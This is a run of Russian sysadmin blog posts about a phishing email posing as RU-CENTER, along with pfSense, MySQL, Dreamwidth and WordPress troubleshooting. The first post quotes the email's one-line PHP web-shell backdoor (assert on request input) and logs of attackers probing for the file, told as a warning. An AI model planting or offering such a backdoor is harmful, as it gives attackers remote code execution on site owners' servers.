Tags: php

Пришло письмо, якобы от RU-CENTER

Уважаемый администратор домена!

В соответствии с поправками, внесенными в ICANN RAA, Вы должны подтвердить, что фактическое управление доменным именем ***.ru осуществляется лицом, указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете возможность управлять доменом, создайте в корневой директории сайта файл *****.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[RUCENTER]));
?>

Файл должен быть создан в течение трех рабочих дней с момента получения настоящего сообщения и находиться на сервере до 19 августа 2017 года, 15:00 (UTC+03:00), в противном случае процедура активации будет считаться непройденной.

Уведомляем Вас о том, что если процедура подтверждения не будет пройдена, обслуживание домена будет приостановлено.

Письмо я прочитал слишком поздно, а то бы и вправду создал этот файл. Естественно, с другим кодом, чтобы записать, какие запросы эти хакеры в него будут посылать, а не позволять им читать и писать файлы у меня на сервере, и выполнять прочие команды.

Сейчас посмотрел в логи, они и вправду пытались в него зайти вплоть до 19 августа, как и обещали:
13.59.87.172 - - [07/Aug/2017:15:04:08 +0100] "POST /*****.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (X11; ; Linux i686; rv:1.9.2.20) Gecko/20110805"
13.59.87.172 - - [10/Aug/2017:16:36:36 +0100] "POST /*****.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.13 (KHTML, like Gecko) Chrome/24.0.1290.1 Safari/537.13"
54.215.228.151 - - [19/Aug/2017:12:13:41 +0100] "POST /*****.php HTTP/1.1" 404 218 "-" "Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14"

А вот где они украли мой адрес – непонятно, nic.ru в whois про меня ничего не показывает, просто Private person.

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Загадочные грабельки в MySQL

Единственная программа, написанная на похапе, которая мне нравится – это Zabbix!
Сегодня утром он прислал уведомление, что на одном mysql-slave-сервере слишком большая задержка относительно master’а, более двух часов:

Причём там и Slave_IO (скачивание логов с master’а и сохранение их у себя), и Slave_SQL (выполнение операторов из тех логов) всё время работали:

Collapse )

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Опять грабельки, теперь в DW

Предыдущая пара постов в DW и ЖЖ не имеет ссылок на мой собственный блог, потому что он не смог кросспостить их в DW, и пришлось скопировать руками.

В вордпрессе стала вылезать идиотская ошибка: Something went wrong - -32300 : transport error - HTTP status code was not 200
Видать, что-то поменялось в DW’шном API, но, блин, хотя бы полученный по HTTP код ответа можно было показать, а не просто рассказывать, что он не 200 :(

Похоже, пора переходить на свой блоговый движок. Хотя я его ещё не полностью дописал, но кросспостинг там уже вполне работает, и ошибку там удалось увидеть гораздо яснее: код 307 – пересылка с http://www.dreamwidth.org/interface/xmlrpc на https: . Поменял в настройках DW’шного урла http на https, всё заработало.

dmarck, похоже, ты прав, нынче все переезжают с http на https. Но в том же ЖЖ это только на веб-сайтах приделали, а API там продолжает работать по http.

Попробовал в вордпрессовском плагине livejournal-crossposter-remake так же поменять урл, но нифига не помогло: Something went wrong - -32300 : transport error: http_request_failed Couldn't resolve host 'https'
Пришлось копаться в коде, оказалось, что там используется IXR_Client из этого самого вордпресса, который https не умеет в принципе. Вот щас поменял IXR_Client на WP_HTTP_IXR_CLIENT, посмотрю, поможет ли.

Но нафиг нужен такой похапешный софт, который не понимает явно указанный в урле протокол.. Выходит, это тот самый случай, когда проще самому написать, чем копаться в чужом коде. Только там ещё некоторые другие вещи дописать надо.

А в этом livejournal-crossposter-remake ещё и коты нашлись..

Collapse )

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Опять засада в pfsense

Пару недель спокойно вносил изменения в тот pfsense, про который я писал в конце июля. Обычно всё сразу срабатывало, как и полагается.

А иногда при применении внесённых изменений pfsense почему-то перегружался.. Но потом всё же успешно загружался и продолжал работать.

А вот сегодня после внесения очередного мелкого изменения — пропал.. Я ждал минут пять, а он так и не появился. Заполз в него через консоль, и оказалось, что там опять IP-адреса на всех сетевых интерфейсах потерялись. Пробовал подсовывать прежние варианты конфигов из его бэкапной директории и перегружать — а фиг, всё то же самое, при загрузке не может разобрать этот xml, потому и не знает, какие адреса приделывать.

Хотя когда я вручную приделал ему адрес (ifconfig’ом) и маршрут (route’ом), и зашёл в его веб-интерфейс, то там у него все настройки успешно виделись, в том числе и для сетевых интерфейсов. То есть, там этот конифг успешно читается, а в процессе загрузки почему-то нет..

Потом попробовал как в прошлый раз factory reset, настроил сетевые параметры, а после перезагрузки он их из этого совсем маленького свежесозданного конфига всё равно почему-то прочитать не может. Вот же уродские быдлокодеры..

Начальник предложил обновить его до свежей версии, раз старая всё равно не работает. Приделал опять сетевые параметры руками, запустил апгрейд, всё скачалось, поставилось, а после перезагрузки опять сети нету.. Пробовал подсовывать прежние конфиги — при загрузке всё равно вылезают ошибки чтения этих xml’ей.

Потом ещё попробовал подложить туда однозначно рабочий конфиг от новой версии (со своей виртуалки, где я экспериментировал с обновлением старой версии pfsense до нынешней). А всё та же фигня — не может этот xml прочитаться в процессе загрузки, хотя в веб-интерфейсе вполне может. Но и при попытке через веб-интерфейс что-то слегка поменять, чтоб конфиг заново переписался, всё равно вылезает хрень:

Или ещё больше:
Fatal error: Cannot create references to/from string offsets nor overloaded objects in /etc/inc/xmlparse.inc on line 103 Call Stack: 0.0001 245880 1. {main}() /usr/local/www/vpn_ipsec_phase1.php:0 0.0943 4425904 2. write_config() /usr/local/www/vpn_ipsec_phase1.php:550 0.6794 4967024 3. cleanup_backupcache() /etc/inc/config.lib.inc:593 30.6301 8763792 4. parse_xml_config() /etc/inc/config.lib.inc:859 30.6302 8764280 5. parse_xml_config_raw() /etc/inc/xmlparse.inc:178 31.5878 11278400 6. xml_parse() /etc/inc/xmlparse.inc:217 31.5878 11278776 7. startElement() /etc/inc/xmlparse.inc:217 PHP ERROR: Type: 1, File: /etc/inc/xmlparse.inc, Line: 103, Message: Cannot create references to/from string offsets nor overloaded objects

Видать, там не всё обновилось, а какие-то кривые старые скрипты ещё остались и продолжают поганить систему.

Тогда уже решил плюнуть на старую версию, и попробовал не обновлять, а поставить новую версию с нуля. Поставилась, сеть в порядке. Потом подложил туда конфиг со старой машинки, и он успешно прочитался и сработал.

То бишь, грабли, как водится, удалось обойти, но опять практически весь день на эту фигню пришлось потратить. А потом начальник попросил и второй тамошний маршрутизатор таким же образом заново поставить, а не обновлять старый. Но на это сегодня уже времени не хватило, завтра займусь.

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Вотжеблин..

Вчера один коллега сделал элементарные изменения в настройках маршрутизатора (pfsense). После чего этот pfsense завис нафиг. Я попробовал его перегрузить, всё равно не отзывается. Пришлось подключиться к консоли и внимательно смотреть, чё там не так. (Машинка виртуальная, поэтому подключиться к её консоли оказалось относительно просто, а вообще-то она в Кении..) Оказалось, что сам маршрутизатор вполне себе грузится, но почему-то IP-адресов на сетевых интерфейсах нету. Посмотрел в конфиг — адреса на месте. Перегрузил ещё раз, а они опять пропали. На консоли обнаружилась очень странная ошибка: “PHP Fatal error: Cannot create references to/from string offsets nor overloaded objects in /etc/inc/xmlparse.inc on line 77“..

Посмотрел в этот xmlparse.inc, а это оказался скрипт на PHP. Сравнил его с таким же файлом на другом pfsense, который успешно работает — файлы совершенно одинаковые. Проверил изменения в config.xml – немножко действительно есть, но формат файла вполне нормальный. Подложил прежнюю версию конфига, перегрузил pfsense – опять та же ошибка. Попробовал более старую версию конфига подложить, где ещё не было вчерашних изменений, а фиг — всё то же самое..

После этого начальник предложил запустить на этом pfsense reset, а потом приделать IP-адреса заново. Попробовал — вышло. Но всё остальное заново руками конфигурировать не хотелось, поэтому попробовал опять подложить старый конфиг, и внезапно он успешно прочитался, и всё заработало.

А сегодня решил сам попробовать поменять то, что вчера менял коллега. Через веб-интерфейс. В натуре, мелочи в настройках одного VPN: IKEv1 на Auto, hash с sha512 на sha1, DH group с 16 на 2. Аблин, опять те же грабли!

pfsense опять перестал отвечать, и после перезагрузки опять показывал на консоли ту же ошибку, и не мог прицепить IP-адреса к сетевым интерфейсам. Пришлось, подсунуть вчерашний полупустой config – он заработал. Потом подложил старый конфиг с полными настройками – тоже заработал.

Ну какого хрена эти PHPшные быдлокодеры пишут такой дурацкий софт?! Изменения, сделанные через ихний же веб-интерфейс, оказываются настолько кривыми, что потом весь конфиг не может прочитаться. Короче, нафиг этот pfsense. Пожалуй, надо переезжать на более приличные системы. Может, на какой-нибудь VyOS. Хотя у него web-интерфейса нет, но и таких граблей тоже нет.

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Вот за это я и не люблю PHP

В смысле, не просто язык (иногда мне самому случается на нём писать), а типичных похапешных программистов, пишущих уродские программы.

Итак, имеется софтина SSH Key Management, которая предназначена для автоматизированного раскладывания ssh-ключей на удалённые сервера. Идея полезная, так гораздо удобнее и быстрее добавлять и удалять юзерские ключи, чем вручную, и заодно можно в одном месте посмотреть, у кого на какой сервер какой доступ есть, а не лазить на каждый сервер и не искать там вручную.

Раньше она везде успешно работала, а сегодня про один новый сервер внезапно стала ругаться, что не может там скопировать authorized_keys2, что она всегда делает в качестве бэкапа. Зашёл на сервер, посмотрел — а копии-то вполне себе есть.. Так как же она их успешно создаёт, и при этом считает, что не вышло?!

Пошёл копаться в коде, и, как водится, обнаружил множество идиотизмов.

Collapse )

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Белая магия..

Один из разработчиков сегодня пожаловался, что у него есть два скрипта, цепляющихся по API к одному и тому же серверу, так один работает, а второй вообще соединиться не может. Разница в функциях: в одном используется fsockopen, а в другом socket_connect.
Причём когда он их цепляет не к тому серверу, а к своему тестовому (на его же ноутбуке в докер-контейнере), то оба нормально работают. Вот и решил у меня поинтересоваться, нет ли каких проблем в сетевых соединениях к серверу, или каких затыков в файрволах..

Хотя вроде бы кажется, что если один скрипт успешно подключается, значит, проблем в сети нет. Но.. случаи же разные бывают. Может, где-то есть ограничение на количество соединений с одного клиентского адреса, или у самого сервера ограниченное количество соединений, или ещё что.. Так что первым делом я попросил его посоединяться туда telnet’ом. Он попробовал, нормально получается.

Значит, что-то не так в самом скрипте. Попросил показать мне кусок кода, который осуществляет это соединение. А там вместо двух строчек (создать сокет и подцепить его к серверу socket_connect‘ом) внезапно оказалсь целая страница.. И не просто функция, а целый класс, который умеет соединяться и по IPv4, и по IPv6, и после запуска соединения несколько секунд в цикле проверяет ошибки сокета, пока не убедится, что соединение нормально установилось, или пока счётчик не кончится. И если не получилось, будет попробовать следующий сервер, если их в списке больше одного.

Оказалось, что это он не сам написал, а скачал из интернетов готовую реализацию того API, стал её проверять, а вот она с сервером не соединяется.

Ну я этот кусок кода скопировал, выкинул оттуда все внутриклассовые ссылки, вписал параметры конкретного сервера, запустил – и он нормально соединился. И тут… разработчик сообщил, что у него тоже заработало!
Что, эффект присутствия?! Ну, в каком-то смысле да. Ибо, когда я попросил прислать этот кусок кода, он его не просто прислал, а ещё и сам почитал, и нашёл, в чем была засада.

Мораль: показывая кому-то программу, а особенно, рассказывая, как она работает, сам гораздо лучше начинаешь это понимать. Заодно и ошибки можешь найти и исправить. Ну и кто уже догадался, что было не так в этой программе??

Collapse )

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Базу для вордпресса разрабатывал даже не студент-троечник

а студент-двоечник.

Категории и тэги лежат в одной таблице. Зачем — непонятно, но это ещё фигня. Таблица выглядит так:

CREATE TABLE `wp_terms` (
  `term_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(200) NOT NULL DEFAULT '',
  `slug` varchar(200) NOT NULL DEFAULT '',
  `term_group` bigint(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`term_id`),
  UNIQUE KEY `slug` (`slug`),
  KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8

Что такое term_group — загадка природы, там у всех записей 0.
slug — это URL-encoded name. Им лень было при обработке запросов в /tag/ и /category/ сделать url-decode и поискать по имени, лучше сделать лишнее поле. Причём поле это такой же длины, как и name, а один неанглоязычный символ из name в url-encoded виде занимает 6 байт, например буква “л” выглядит в slug как %d0%bb . А вот почему slug сделан уникальным ключом, а name неуникальным — загадка природы.

А тип записей в wp_terms вообще отсутствует. Он ВНЕЗАПНО лежит в другой таблице:

CREATE TABLE `wp_term_taxonomy` (
  `term_taxonomy_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,
  `term_id` bigint(20) unsigned NOT NULL DEFAULT '0',
  `taxonomy` varchar(32) NOT NULL DEFAULT '',
  `description` longtext NOT NULL,
  `parent` bigint(20) unsigned NOT NULL DEFAULT '0',
  `count` bigint(20) NOT NULL DEFAULT '0',
  PRIMARY KEY (`term_taxonomy_id`),
  UNIQUE KEY `term_id_taxonomy` (`term_id`,`taxonomy`),
  KEY `taxonomy` (`taxonomy`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8

Вот в ней в поле taxonomy хранит тип записи. В текстовом виде: “category”, “post_tag” или “link_category”. И в сочетании с term_id оно составляет уникальный ключ. То есть, если попытаться создать и категорию, и тэг с одинаковым именем, то в wp_terms будет только одна запись, а в wp_term_taxonomy – две, с одинаковым term_id. Но это такая редкость, что экономить единичные записи в таблице, существенно усложняя при этом поиск по имени (join двух таблиц вместо простого поиска в одной) — это идиотизм.

Что есть parent — я вообще не понял, там всегда 0. А count (руки оторвать за использование названий стандартных функций в качестве имён полей) по идее должен хранить количество постов, привязанных к данной категории или тэгу. И для большинства записей это действительно так. Но иногда..

mysql> select term_taxonomy_id, count from wp_term_taxonomy where term_taxonomy_id = 1;
+------------------+-------+
| term_taxonomy_id | count |
+------------------+-------+
|                1 |  1933 |
+------------------+-------+

mysql> select count(*) from wp_term_relationships where term_taxonomy_id = 1;
+----------+
| count(*) |
+----------+
|     3708 |
+----------+

Ничего общего.. И даже если посчитать только опубликованные посты (исключить черновики и старые версии), всё равно не совпадает:

mysql> select count(*) from wp_term_relationships r join wp_posts p on r.object_id=p.ID where r.term_taxonomy_id = 1 and p.post_status='publish';
+----------+
| count(*) |
+----------+
|     1936 |
+----------+

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Продолжаю копаться в вордпрессе

и убеждаться, что похапе серьёзно разрушает моск.

mysql> desc wp_options;
+--------------+---------------------+------+-----+---------+----------------+
| Field        | Type                | Null | Key | Default | Extra          |
+--------------+---------------------+------+-----+---------+----------------+
| option_id    | bigint(20) unsigned | NO   | PRI | NULL    | auto_increment |
| blog_id      | int(11)             | NO   |     | 0       |                |
| option_name  | varchar(64)         | NO   | UNI |         |                |
| option_value | longtext            | NO   |     | NULL    |                |
| autoload     | varchar(20)         | NO   |     | yes     |                |
+--------------+---------------------+------+-----+---------+----------------+

mysql> select autoload,count(*) from wp_options group by autoload;
+----------+----------+
| autoload | count(*) |
+----------+----------+
| no       |       27 |
| yes      |      243 |
+----------+----------+

20 байт для хранения булевской переменной — это что надо курить, чтоб так сделать?!

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)

Опять заглянул в пирожок…

Пытаюсь разобраться в структуре базы wordpress’а… Там есть таблица wp_comments, в ней, очевидно, лежат комментарии. Сотня:

mysql> select count(*) from wp_comments;
+----------+
| count(*) |
+----------+
|      101 |
+----------+

А ещё есть таблица wp_commentmeta, в которой лежит в шесть раз больше не пойми чего..

mysql> select count(*) from wp_commentmeta;
+----------+
| count(*) |
+----------+
|      667 |
+----------+

mysql> desc wp_commentmeta;
+------------+---------------------+------+-----+---------+----------------+
| Field      | Type                | Null | Key | Default | Extra          |
+------------+---------------------+------+-----+---------+----------------+
| meta_id    | bigint(20) unsigned | NO   | PRI | NULL    | auto_increment |
| comment_id | bigint(20) unsigned | NO   | MUL | 0       |                |
| meta_key   | varchar(255)        | YES  | MUL | NULL    |                |
| meta_value | longtext            | YES  |     | NULL    |                |
+------------+---------------------+------+-----+---------+----------------+

meta_key там везде одинаковый:

mysql> select distinct meta_key from wp_commentmeta;
+-----------------------+
| meta_key              |
+-----------------------+
| _wp_trash_meta_status |
+-----------------------+

А значений у него целых два, 0 и 1:

mysql> select distinct meta_value from wp_commentmeta;
+------------+
| meta_value |
+------------+
| 1          |
| 0          |
+------------+

Но при этом имеющиеся там comment_id совершенно не совпадают с теми, что есть в wp_comments:

mysql> select count(*) from wp_commentmeta where comment_id in (select comment_id from wp_comments);
+----------+
| count(*) |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)

Я фигею, дорогая редакция.

Оригинал этой записи в личном блоге.

(comment count unavailable | Комментировать в Dreamwidth)